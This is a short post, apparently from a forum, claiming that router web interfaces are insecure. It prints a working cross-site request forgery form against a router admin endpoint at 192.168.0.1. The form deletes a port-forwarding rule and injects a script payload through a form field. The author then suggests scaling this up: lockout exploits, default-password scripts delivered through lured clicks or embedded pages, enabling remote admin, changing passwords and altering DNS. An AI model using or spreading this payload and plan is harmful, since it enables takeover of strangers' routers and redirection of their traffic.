The web ui on modems and routers are very insecure.
Found this in 15 minutes
<form action="http://192.168.0.1/scvrtsrv.cmd" method="post" target="hidden">
<input type="hidden" name="action" value="remove_port_forwarding">
<input type="hidden" name="needthankyou" value='BREAK"; alert("ayy lmao");//'>
<input type="hidden" name="rmLst" value="192.168.0.2|2777|2777|TCP|2777|2777|0.0.0.0">
<input type="submit" value="Go, Baby, Go!">
</form>
Imagine if you wrote 2 dozen router lock out exploits and loaded default passwords into a script somewhere and either got people to click the link or embedded it on a page.
or like set remote admin and change the password. Mabe fuck with DNS?
just a thought
nobully